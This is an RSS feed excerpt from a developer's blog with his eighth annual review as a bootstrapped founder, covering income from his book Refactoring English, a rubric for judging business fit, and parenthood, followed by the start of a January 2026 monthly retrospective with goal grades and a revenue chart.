&lt;h2 id="previously-on">Previously on&amp;hellip;&lt;/h2>
&lt;p>I don&amp;rsquo;t expect you to go back and read my last seven updates. Here&amp;rsquo;s all you need to know:&lt;/p>
&lt;ul>
&lt;li>2018 - 2020 - &lt;a href="https://mtlynch.io/why-i-quit-google/">Quit my job&lt;/a> and created several unprofitable businesses.&lt;/li>
&lt;li>2020 - 2024 - Created &lt;a href="https://mtlynch.io/tinypilot">a product called TinyPilot&lt;/a> that let people control their computers remotely.&lt;/li>
&lt;li>2024 - &lt;a href="https://mtlynch.io/i-sold-tinypilot/">Sold TinyPilot&lt;/a>, &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/#i-became-a-new-parent">became a father&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="how-finances-went">How finances went&lt;/h2>
&lt;p>People are always most interested in how money works as an indie founder, so I&amp;rsquo;ll start there. Here&amp;rsquo;s what my revenue and profit looked like every month this year.&lt;/p></description><content:encoded>&lt;p>Eight years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own bootstrapped software company. Every year, I &lt;a href="https://mtlynch.io/tags/annual-review/">post an update&lt;/a> about how that&amp;rsquo;s going and what my life is like as an indie founder.&lt;/p>
&lt;h2 id="previously-on">Previously on&amp;hellip;&lt;/h2>
&lt;p>I don&amp;rsquo;t expect you to go back and read my last seven updates. Here&amp;rsquo;s all you need to know:&lt;/p>
&lt;ul>
&lt;li>2018 - 2020 - &lt;a href="https://mtlynch.io/why-i-quit-google/">Quit my job&lt;/a> and created several unprofitable businesses.&lt;/li>
&lt;li>2020 - 2024 - Created &lt;a href="https://mtlynch.io/tinypilot">a product called TinyPilot&lt;/a> that let people control their computers remotely.&lt;/li>
&lt;li>2024 - &lt;a href="https://mtlynch.io/i-sold-tinypilot/">Sold TinyPilot&lt;/a>, &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/#i-became-a-new-parent">became a father&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="how-finances-went">How finances went&lt;/h2>
&lt;p>People are always most interested in how money works as an indie founder, so I&amp;rsquo;ll start there. Here&amp;rsquo;s what my revenue and profit looked like every month this year.&lt;/p>
&lt;p>&lt;canvas id="monthly-finances-chart">&lt;/canvas>&lt;/p>
&lt;p>In total, I had $8.2k in profit on $16.3k in revenue. That was my total income for the year, which is obviously not enough to support a family, but my wife also works, and we have savings/investments.&lt;/p>
&lt;p>My main source of revenue was my book. I&amp;rsquo;m writing &lt;a href="https://refactoringenglish.com">a book to teach developers to improve their writing&lt;/a>. I did a Kickstarter for it in March, which gave me &lt;a href="https://mtlynch.io/my-6k-advance/">$6k in pre-sales&lt;/a>. As I worked on the book, I offered paid early access. In total, 422 readers purchased early access, for which I&amp;rsquo;m grateful. I also have an &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#zestful">old business&lt;/a> that makes $100-200/month without me touching it.&lt;/p>
&lt;p>My main expenses were computer hardware ($2.1k) and LLMs ($1.9k). I don&amp;rsquo;t use AI to write, but I use it for a lot of the accessory tasks like fixing rendering/layout issues and improving the website. I also use it for &lt;a href="https://codeberg.org/mtlynch?tab=repositories">my open-source projects&lt;/a>.&lt;/p>
&lt;p>Here&amp;rsquo;s how 2025 compared to previous years:&lt;/p>
&lt;p>&lt;canvas id="annual-finances-chart">&lt;/canvas>&lt;/p>
&lt;p>The years I was running TinyPilot dominate the chart. Still, 2025 was my fourth most profitable year as a founder.&lt;/p>
&lt;p>My goal for the year was $50k in profit, so I fell quite short (more on that &lt;a href="#earn-50k-in-profit">later&lt;/a>).&lt;/p>
&lt;script src="https://mtlynch.io/third-party/chart.js/2.9.4/Chart.min.js">&lt;/script>
&lt;script src="script.js">&lt;/script>
&lt;h2 id="so-youre-still-taking-a-break">So you&amp;rsquo;re still taking a break?&lt;/h2>
&lt;p>When I tell other software developers that I&amp;rsquo;m writing a book, they usually say something like, &amp;ldquo;Oh, great!&amp;rdquo;&lt;/p>
&lt;p>Then, they pause, a little confused. &amp;ldquo;To give you time to freelance?&amp;rdquo; And I have to say, &amp;ldquo;No, I&amp;rsquo;m &lt;em>just&lt;/em> writing a book. That&amp;rsquo;s my whole job.&amp;rdquo;&lt;/p>
&lt;p>When I tell friends and family I&amp;rsquo;m working on a book, they innocently ask, &amp;ldquo;Oh, so you&amp;rsquo;re still on paternity leave?&amp;rdquo;&lt;/p>
&lt;p>No! I&amp;rsquo;m writing a book. It&amp;rsquo;s a real job!&lt;/p>
&lt;p>But if I&amp;rsquo;m being honest, I understand their confusion. How can writing a book be my job? I&amp;rsquo;m not a novelist.&lt;/p>
&lt;p>When I started the book, I thought I&amp;rsquo;d be done in six months. I typically write almost a book&amp;rsquo;s worth of blog posts per year, and that&amp;rsquo;s just from an hour of writing per day. If I focus on a book, I should be done in 1/8th the time!&lt;/p>
&lt;p>It turns out that even when all I have to do is write, I can still only write for about an hour per day. After that, I feel drained, and my writing degrades rapidly.&lt;/p>
&lt;p>I also can&amp;rsquo;t &lt;em>just&lt;/em> write a book. I also need to find people to read the book, so I&amp;rsquo;ve been writing blog posts and sharing chapter excerpts. I normally write 5-10 blog posts per year, but I ended up writing far more in the past year than I ever have before:&lt;/p>
&lt;ul>
&lt;li>13 blog posts (8 on &lt;a href="https://mtlynch.io/posts/">my personal blog&lt;/a> and 5 on &lt;a href="https://refactoringenglish.com/blog/">my book&amp;rsquo;s blog&lt;/a>)&lt;/li>
&lt;li>12 &lt;a href="https://mtlynch.io/notes/">notes&lt;/a> (shorter, less polished blog posts)&lt;/li>
&lt;li>12 &lt;a href="https://mtlynch.io/retrospectives/">monthly retrospectives&lt;/a>&lt;/li>
&lt;li>150 pages of my book, including seven chapters I adapted into &lt;a href="https://refactoringenglish.com/chapters/">free excerpts&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I also started editing blog posts for other developers. That helped me discover other developers&amp;rsquo; writing pain points and what advice they found effective. I worked with seven clients, including &lt;a href="https://tylercipriani.com/">Tyler Cipriani&lt;/a> on a post that reached &lt;a href="https://news.ycombinator.com/item?id=44916783">#1 on Hacker News&lt;/a>.&lt;/p>
&lt;p>And then there&amp;rsquo;s just a bunch of administrative tasks around writing and selling a book like &lt;a href="https://mtlynch.io/retrospectives/2025/10/#the-hassle-of-sending-post-purchase-emails-with-stripe">setting up mailing lists&lt;/a>, &lt;a href="https://mtlynch.io/retrospectives/2026/01/#adding-regional-pricing-for-my-book">dealing with Stripe&lt;/a>, &lt;a href="https://mtlynch.io/retrospectives/2025/05/#asciidoctor-so-far-so-good">debugging PDF/epub rendering issues&lt;/a>, etc.&lt;/p>
&lt;h2 id="finding-alignment-with-my-business">Finding alignment with my business&lt;/h2>
&lt;p>This has been my favorite year of being a founder since I went off on my own eight years ago. There are a few factors, but the biggest is that I found a business that aligns with me.&lt;/p>
&lt;p>When I first started as a founder, I didn&amp;rsquo;t think the particulars of a business mattered. I just pursued any opportunity I saw, even if it was a market I didn&amp;rsquo;t care about. I&amp;rsquo;d still get to write software, so wouldn&amp;rsquo;t that make me happy?&lt;/p>
&lt;p>It turns out bootstrapped founders don&amp;rsquo;t spend much time writing code. Especially at the beginning, I have to find customers and talk to them, which is hard when I don&amp;rsquo;t particularly care about the market beyond the technical challenge of building something.&lt;/p>
&lt;p>Over several years, I found that there are five criteria that determine how much I enjoy a business:&lt;/p>
&lt;ol>
&lt;li>I enjoy the domain and relate to the customers&lt;/li>
&lt;li>It leverages my skills&lt;/li>
&lt;li>It earns money&lt;/li>
&lt;li>It facilitates work-life balance&lt;/li>
&lt;li>It aligns interests between me and my users&lt;/li>
&lt;/ol>
&lt;p>As a concrete example, one of my first businesses was called Is It Keto. It was a simple website that explained whether certain foods fit the keto diet.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/isitketo-screenshot.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-8/isitketo-screenshot_hu_917b42de36281513.webp 300w, https://mtlynch.io/bootstrapped-founder-year-8/isitketo-screenshot_hu_3778cb8631fa5bf4.webp 600w, https://mtlynch.io/bootstrapped-founder-year-8/isitketo-screenshot_hu_aff4937e76f149a9.webp 800w, https://mtlynch.io/bootstrapped-founder-year-8/isitketo-screenshot.webp 1043w'
 src="https://mtlynch.io/bootstrapped-founder-year-8/isitketo-screenshot.webp" alt="Screenshot of Is It Keto website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>One of my first businesses, Is It Keto, which told readers which foods fit the keto diet.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Here&amp;rsquo;s how Is It Keto scored on my rubric:&lt;/p>
&lt;div style="text-align: center">
&lt;h3 id="is-it-keto">Is It Keto&lt;/h3>
&lt;/div>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Pillar&lt;/th>
 &lt;th style="text-align: center">Score&lt;/th>
 &lt;th>Notes&lt;/th>
 &lt;th>&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Enjoyment&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Bad">❌&lt;/span>&lt;/td>
 &lt;td>I didn&amp;rsquo;t care about the keto diet.&lt;/td>
 &lt;td>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Competence&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Bad">❌&lt;/span>&lt;/td>
 &lt;td>I wasn&amp;rsquo;t good at building websites, finding users, or convincing anyone to buy things.&lt;/td>
 &lt;td>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Profitability&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Bad">❌&lt;/span>&lt;/td>
 &lt;td>The site was &lt;a href="https://mtlynch.io/retrospectives/2020/07/#is-it-keto">not profitable&lt;/a>.&lt;/td>
 &lt;td>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Work-life balance&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Good">✅&lt;/span>&lt;/td>
 &lt;td>The site was easy to keep online 24/7. Even if there had been an outage, the stakes were so low that I&amp;rsquo;d only be losing a few dollars of ad revenue per day.&lt;/td>
 &lt;td>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Founder-user alignment&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Bad">❌&lt;/span>&lt;/td>
 &lt;td>I only made money if users clicked ads or ordered keto products online. They probably would have been better off buying &lt;a href="https://realfood.gov/">real food&lt;/a> at the grocery store.&lt;/td>
 &lt;td>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Now, let me compare Is It Keto to writing my book:&lt;/p>
&lt;div style="text-align: center">
&lt;h3 id="refactoring-english-my-book">&lt;em>Refactoring English&lt;/em> (my book)&lt;/h3>
&lt;/div>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Pillar&lt;/th>
 &lt;th style="text-align: center">Score&lt;/th>
 &lt;th>Notes&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Enjoyment&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Good">✅&lt;/span>&lt;/td>
 &lt;td>I&amp;rsquo;m passionate about clear writing and enjoy teaching techniques to other developers.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Competence&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Good">✅&lt;/span>&lt;/td>
 &lt;td>I feel especially qualified to write about the topic, as I&amp;rsquo;ve been blogging for several years, and writing played a key role at every stage in my career.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Profitability&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Okay">⚠️&lt;/span>&lt;/td>
 &lt;td>I&amp;rsquo;ve made $11.8k from pre-sales, which feels good for a first-time author but is not yet profitable enough to be sustainable.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Work-life balance&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Good">✅&lt;/span>&lt;/td>
 &lt;td>It&amp;rsquo;s hard to beat an ebook in terms of work-life balance. I can comfortably disappear for weeks without negatively impacting anyone. I&amp;rsquo;ve never been paged at 2 AM because my servers are down and users urgently need to read my book.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Founder-user alignment&lt;/td>
 &lt;td style="text-align: center">&lt;span title="Good">✅&lt;/span>&lt;/td>
 &lt;td>My incentives are aligned with my readers because I &lt;a href="https://refactoringenglish.com/early-access/#satisfaction-guarantee">only make money if they enjoy the book&lt;/a>, and the book only becomes popular if readers recommend it to friends.&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The book doesn&amp;rsquo;t check all my boxes perfectly, but it aligns better with my five criteria than any business I&amp;rsquo;ve created before.&lt;/p>
&lt;h2 id="do-i-still-love-it">Do I still love it?&lt;/h2>
&lt;p>At the end of &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">my first year as a founder&lt;/a>, I wrote:&lt;/p>
&lt;blockquote>
&lt;p>As someone who has always valued independence, I love being a solo developer. It makes a world of difference to wake up whenever I want and make my own choices about how to spend my entire day.&lt;/p>
&lt;p>&amp;hellip;&lt;/p>
&lt;p>My friends with children tell me that kids won&amp;rsquo;t complicate this at all.&lt;/p>&lt;/blockquote>
&lt;p>When I wrote that in 2019, I was in my early thirties, single, and living alone.&lt;/p>
&lt;p>A few weeks after writing that post, I met someone. We moved in together at the end of that year, married a few years later, and had our first child in 2024. Now, there are lots of people in our house, as my wife and I work from home, and members of our extended family come over every weekday to help with childcare.&lt;/p>
&lt;p>Despite all of those changes, my life is still how I described it seven years ago.&lt;/p>
&lt;p>Okay, things aren&amp;rsquo;t &lt;em>exactly&lt;/em> the same. My toddler decides when I wake up, and it&amp;rsquo;s not always the time his independence-loving father would choose. But I still feel the joy of spending my workdays on whatever I choose.&lt;/p>
&lt;p>I joked back in 2019 about how kids would complicate my life as an indie founder, but it&amp;rsquo;s actually less complicated than I expected. My workdays mostly look the same. Except they&amp;rsquo;re more fun because anytime I want, I can take a break from work to go play with my son.&lt;/p>
&lt;p>After several years of &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/#do-i-still-love-it">just &amp;ldquo;enjoying&amp;rdquo; life&lt;/a> as a bootstrapped founder, I&amp;rsquo;m happy to say that I love it again. I still want to do it forever.&lt;/p>
&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="writing-a-book-takes-longer-than-i-expected">Writing a book takes longer than I expected&lt;/h3>
&lt;p>I originally thought I&amp;rsquo;d finish the book in six months, but I&amp;rsquo;m &lt;a href="https://mtlynch.io/retrospectives/2026/01/">13 months in&lt;/a> and still have about 20% left.&lt;/p>
&lt;p>From reading about other developers&amp;rsquo; experience writing books, underestimating time seems to be the norm. Teiva Harsanyi thought he&amp;rsquo;d be done in eight months, but it actually took him &lt;a href="https://read.thecoder.cafe/p/100-go-mistakes">almost two years&lt;/a>. Austin Henley started writing a book in 2023 and it dragged on for about two years before he got tired of working with his publisher and &lt;a href="https://austinhenley.com/blog/canceledbookdeal.html">canceled his book deal&lt;/a>.&lt;/p>
&lt;h3 id="i-enjoy-my-work-when-it-feels-aligned-with-me">I enjoy my work when it feels aligned with me&lt;/h3>
&lt;p>As much as I love writing code, programming itself isn&amp;rsquo;t enough to make me enjoy my work. I need to find a business that matches my interests, values, and skills.&lt;/p>
&lt;h3 id="i-can-be-a-bootstrapped-founder-and-a-parent">I can be a bootstrapped founder and a parent&lt;/h3>
&lt;p>Before I became a parent, I worried that I wouldn&amp;rsquo;t have the flexibility to be a founder. In the first few months after my son arrived, I worried that parenting would take up so much time that I &lt;a href="https://mtlynch.io/retrospectives/2024/10/#ill-be-okay-if-i-dont-work-for-a-bit">couldn&amp;rsquo;t work at all&lt;/a>, much less run my own business.&lt;/p>
&lt;p>Fortunately, I&amp;rsquo;ve been able to find a comfortable balance where I spend my workdays as a founder while still being the parent I want to be.&lt;/p>
&lt;h2 id="grading-last-years-goals">Grading last year&amp;rsquo;s goals&lt;/h2>
&lt;p>Last year, I set &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/#goals-for-next-year">three high-level goals&lt;/a> that I wanted to achieve during the year. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="earn-50k-in-profit">Earn $50k in profit&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I earned $8.2k in profit.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I wasn&amp;rsquo;t confident I&amp;rsquo;d earn $50k from the book, but I thought I&amp;rsquo;d have time while writing to launch side businesses. I also expected to complete the book in just six months, giving me even more time for new business ideas in the second half of the year.&lt;/p>
&lt;p>Instead, I spent the full year on the book. It made $11.8k, which I&amp;rsquo;m proud of as pre-sales for a first-time author, but it&amp;rsquo;s less than I hoped to earn this year.&lt;/p>
&lt;h3 id="publish-a-course-or-book">Publish a course or book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;m about 80% done with my book.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>Okay, okay! I didn&amp;rsquo;t finish the book! Enough of your cruel judgment, &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/#publish-a-course-or-book-1">Michael from a year ago&lt;/a>.&lt;/p>
&lt;h3 id="learn-a-new-programming-language">Learn a new programming language&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I experimented with Gleam but didn&amp;rsquo;t reach competence&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I &lt;a href="https://mtlynch.io/notes/gleam-first-impressions/">played around with Gleam&lt;/a> and appreciated some aspects of it, but I never got deep enough to feel productive in the language.&lt;/p>
&lt;p>I learn best when I can find a project that takes advantage of a new technology, but I couldn&amp;rsquo;t think of anything where Gleam had a compelling edge over languages I know well like Go or Python.&lt;/p>
&lt;h2 id="goals-for-next-year">Goals for next year&lt;/h2>
&lt;h3 id="earn-five-book-citations">Earn five book citations&lt;/h3>
&lt;p>I&amp;rsquo;d like to find at least five examples of readers who cite my book as a resource that helped them achieve something tangible (e.g., grow their blog readership, get a promotion).&lt;/p>
&lt;h3 id="earn-75k-in-profit">Earn $75k in profit&lt;/h3>
&lt;p>I earned $8.2k this year, so I just have to do 9x as well next year. But honestly, I think this is doable if I can keep finding new readers for the book and try a few business ideas.&lt;/p>
&lt;h3 id="create-a-profitable-software-business">Create a profitable software business&lt;/h3>
&lt;p>I&amp;rsquo;ve enjoyed a year of writing, but I&amp;rsquo;d like to do more software development, as that&amp;rsquo;s still what I find most exciting.&lt;/p>
&lt;h2>All annual reviews&lt;/h2>
&lt;ul>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>- Feb. 1, 2019
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>- Jan. 31, 2020
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>- Feb. 1, 2021
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>- Feb. 1, 2022
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">My Fifth Year as a Bootstrapped Founder&lt;/a>- Feb. 10, 2023
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">My Sixth Year as a Bootstrapped Founder&lt;/a>- Feb. 16, 2024
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">My Seventh Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2025
 &lt;/li>&lt;li>My Eighth Year as a Bootstrapped Founder- Feb. 3, 2026
 &lt;/li>&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Cover image by &lt;a href="https://cartoony.eu">Piotr Letachowicz&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Refactoring English: Month 13</title><link>https://mtlynch.io/retrospectives/2026/01/</link><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2026/01/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I added regional pricing for my book based on purchasing power parity.&lt;/li>
&lt;li>I created my first Flutter app.&lt;/li>
&lt;li>I&amp;rsquo;m writing my first cross-language library.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I added regional pricing for my book based on purchasing power parity.&lt;/li>
&lt;li>I created my first Flutter app.&lt;/li>
&lt;li>I&amp;rsquo;m writing my first cross-language library.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-game-that-attracts-people-to-the-refactoring-english-website">Publish a game that attracts people to the &lt;em>Refactoring English&lt;/em> website&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://refactoringenglish.com/blog/2025-hn-top-5/">&amp;ldquo;The Most Popular Blogs of Hacker News in 2025&amp;rdquo;&lt;/a> instead&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>The blog post was a risky bet because it &lt;em>only&lt;/em> could reach new readers if it hit the front page of Hacker News, and its only chance of that is the first couple weeks of 2026.&lt;/p>
&lt;p>Fortunately, the post reached #1 on Hacker News and remained on the front page for almost 22 hours. It continues my strategy of &lt;a href="https://refactoringenglish.com/blog/software-essays-that-shaped-me/">highlighting&lt;/a> &lt;a href="https://refactoringenglish.com/blog/interview-adam-gordon-bell/">other&lt;/a> &lt;a href="https://refactoringenglish.com/blog/crafting-interpreters-intro/">successful tech writers&lt;/a>, a strategy I like because it feels like a win-win for me, readers, and the writers I showcase.&lt;/p>
&lt;p>I still have the Hacker News prediction game at about 80% complete. I&amp;rsquo;m not sure what to do with it because it&amp;rsquo;s almost done, but I feel like it&amp;rsquo;s not fun, so I&amp;rsquo;m never motivated to complete it. But I want to get it over the finish line to see what people think.&lt;/p>
&lt;h3 id="publish-two-chapters-of-refactoring-english">Publish two chapters of &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Made progress on two chapters but didn&amp;rsquo;t complete them&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>Ironically, the chapters I&amp;rsquo;m working on are about motivation and focus, but I keep letting my experiments with MeshCore interfere with my writing. I&amp;rsquo;ve been better at maintaining focus in the new year, and distractions are actually helpful because I&amp;rsquo;m getting fresh experience to write about regaining focus.&lt;/p>
&lt;h3 id="write-a-design-doc-for-a-just-for-fun-family-photo-sharing-app">Write a design doc for a just-for-fun family photo sharing app&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Got 80% through a &lt;a href="https://codeberg.org/mtlynch/little-moments/src/branch/design-doc/DESIGN.md">design doc draft&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>Again, I got distracted by MeshCore experiments in December and didn&amp;rsquo;t make as much progress as I wanted. I love design docs and find them helpful but they&amp;rsquo;re also incredibly boring to write, so it was always tempting to shelve the design doc for something with more instant gratification.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;,&amp;#34;Sep 2025&amp;#34;,&amp;#34;Oct 2025&amp;#34;,&amp;#34;Nov 2025&amp;#34;,&amp;#34;Dec 2025&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863,7283,22398,7608,2266]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88,962.56,619,1066.73,540.8]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2025&lt;/th>
 &lt;th>December 2025&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>7,608&lt;/td>
 &lt;td>2,266&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-5,342 (-70%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$1,018.48&lt;/td>
 &lt;td>$492.55&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$525.93 (-52%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from sponsors&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$0.00 (0%)&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$1,066.73&lt;/td>
 &lt;td>$540.80&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$525.93 (-49%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

